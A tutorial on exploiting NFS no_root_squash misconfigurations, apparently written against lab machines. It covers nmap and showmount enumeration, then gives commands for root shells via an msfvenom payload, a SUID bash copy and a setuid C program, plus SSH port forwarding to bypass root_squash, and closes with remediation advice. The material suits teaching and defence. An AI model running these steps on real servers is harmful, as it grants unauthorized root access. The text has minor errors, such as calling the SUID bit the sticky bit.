NFS or “Network File Sharing” is a protocol that runs on port 2049 and consists of two components, the server and the client(s). Shared directories are created on the NFS server component so that they can be shared with other Linux clients over a network. Permitted users can add files to the share, which are then shared with other users who have access to the directory.
What is NFS Squash?
Network File System (NFS) Squashing, also known as Root Squashing, is a security feature implemented in NFS servers to restrict the privileges of remote users, especially the root user (uid 0), when accessing NFS-exported directories. When root squashing is enabled, the root user on the client system is mapped to an unprivileged user on the NFS server, typically ‘nobody’ or ‘nfsnobody.’
The primary goal of NFS Squashing is to enhance security by preventing remote root users from having unrestricted access to NFS-exported file systems. Without squashing, a compromised or malicious remote root user could potentially modify or delete any file on the NFS server, posing significant security risks.
- no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
- no_all_squash: This is similar to no_root_squash option but applies to non-root users. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.
Vulnerabilities and Misconfigurations:
1. Misconfiguration of NFS Export Options:
- A common misconfiguration involves not enabling root squashing explicitly. If the NFS export options do not include ‘root_squash,’ the NFS server may allow remote root users to access and modify files with full root privileges.
2. Insecure Network Configurations:
- If NFS traffic is transmitted over an insecure network without proper encryption or authentication mechanisms, attackers could potentially intercept and manipulate NFS requests to exploit root squashing vulnerabilities.
Identification
1. Identify the NFS port
- nmap 10.10.46.249
2. Enumerate further
- nmap -A -sV -sC -T4 10.10.46.249
Note: So the port for NFS shares is 2049, but we are also very interested in port 111 because that is the rpc port that the NFS share will bind to. This output reveals the version of NSF also.
3. Enumerate using Nmap scripts
- nmap -p 111,2049 –script=nfs-* 10.10.46.249
Note: the permissions on (., ..) RWX show we have full access. The NoExecute flag is also set, so we won’t be able to execute any binaries or scripts in the share.
4. Identify the mount folders available
- showmount -e 10.10.46.249
- showmount –all 10.10.46.249
Note: The * means all networks allowed
Local enumeration
1. Read the /etc/exports file, if you find some directory that is configured as no_root_squash, then you can access it from as a client and write inside that directory as if you were the local root of the machine.
- cat /etc/exports
- rw: This option gives the client computer both read and write access to the volume.
- sync: This option forces NFS to write changes to disk before replying. This results in a more stable and consistent environment but reduces the speed of file operations.
- inescure: This option allows clients to use any port to access NFS shares.
- no_subtree_check: This option prevents subtree checking, which is a process where the host must check whether the file is actually still available in the exported tree for every request.
- no_root_squash: This option allows privileged file writes inside the share. By default, NFS translates requests from a root user remotely into a non-privileged user on the server.
LinPEAS
1. LinPEAS can also alert us about NFS Squash
- ./LinPEAS.sh
Exploitation
1. create a mount point on your local machine and mount the share
- mkdir /tmp/nfs
- mount -o rw,vers=3 10.10.130.171:/tmp /tmp/nfs
2. Verify the NFS partition was mounted
- mount -t nfs
- cd /tmp/nfs
- ls -la
3. Generate a payload, this time I’ll be using msfvenom, and save it to the mounted share (this payload simply calls /bin/bash), this file MUST have the owner as root
- msfvenom -p linux/x86/exec CMD=”/bin/bash -p” -f elf -o /tmp/nfs/shell.elf
4. make the file executable and set the SUID permission:
- chmod +xs /tmp/nfs/shell.elf
5. From the local session in the target machine run this file from the NFS shared folder, which inherited the permissions our local mahine’s root permissions, it will run it as the remote machine local root
- cd /tmp
- ls -l
- ./shell.elf
6. Verify which user ran this new shell
- whoami && id
Extra 1: Copying /bin/bash for a Root Shell
1. Alternatively you could have copied /bin/bash from you local machine to NFS shared folder, and assign the sticky bit
- cp /bin/bash /tmp/nfs
- chmod +xs bash
- ls -l
2. Again, in the target machine, run the executable
- ./bash -p
- whoami && id
Extra 2: Crafting an Exploit for a Root Shell
1. To craft our custom exploit that will drop us into a root shell, we can use the following commands, to create a c file, compile it
- echo ‘int main() { setgid(0); setuid(0); system(“/bin/bash -p”); return 0; }’ > /mnt/share/root_shell.c
- gcc ./root_shell.c -o ./root_shell
- ls -l
2. Assign proper permissions
- chmod +s root_shell
- ls -l
3. Now run it from the remote machine session
- whoami && id
Port Forwarding the NFS Share
1. When accessing the NFS share externally root_squash enabled and we cannot perform privileged file writes. However, we can access the file share from localhost 127.0.0.1/32, we can perform privileged file writes on the NFS server.
Since we know the NFS share runs on port 2049, and we also know that the user has access to the system through SSH, then the easiest way to forward this port out to our attacker machine is by performing local port forwarding.
- ssh -N -L 127.0.0.1:2049:127.0.0.1:2049 user@10.9.139.128
- ssh -N -L 127.0.0.1:2049:127.0.0.1:2049 user@10.10.130.171 -oHostKeyAlgorithms=+ssh-rsa
Note: This says… Do not execute any commands on the remote host (-N) and perform local port forwarding (-L). Bind port 2049 to 127.0.0.1 on our attacker machine from port 2049 running on 127.0.0.1 on the target machine. Lastly, we are logging in using juggernaut to perform this action for us.
2. Seeing the prompt hang indicates that the port forwarding was successful; and when we open a new tab on our attacker machine and run the netstat -tulpn command, we should see port 2049 open locally.
- netstat -tulpn
3. With the NFS server open to us locally, we can mount it just like we did earlier except we just need to adjust the command to mount the share locally instead of externally, this will look something like this:
- mount -t nfs -o port=2049 127.0.0.1:/tmp /tmp/nfs
4. To confirm that we can perform privileged writes in the share, we can navigate to the mounting point on our attacker machine and create a test file, just the same as we did when we mounted the share the first time.
- touch file.txt
- ls -l
Note: The permissions should be the ones from the attacker machine. This means we can either create a malicious binary or do something a bit more simple like… copy /bin/bash into the share, set root:root ownership and SUID permissions on it, and then SSH back into the victim and execute it with user to elevate our privileges to root!
Remediation Steps:
1. Enable Root Squashing:
- Always enable root squashing on NFS servers to ensure that remote root users are mapped to unprivileged users.
2. Secure Network Configurations:
- Use secure network configurations, such as encrypting NFS traffic with technologies like IPsec or configuring NFS over a Virtual Private Network (VPN).
3. Regular Auditing and Monitoring:
- Implement regular audits and monitoring of NFS server logs to detect any unauthorized access or suspicious activities.
4. Limit Access:
- Restrict access to NFS exports by specifying specific IP addresses or networks that are allowed to mount the file systems.
5. Keep Software Updated:
- Ensure that both the NFS server and client software are kept up to date with the latest security patches to mitigate known vulnerabilities.
6. Use NFSv4:
- Consider using NFS version 4, which includes improved security features compared to older versions.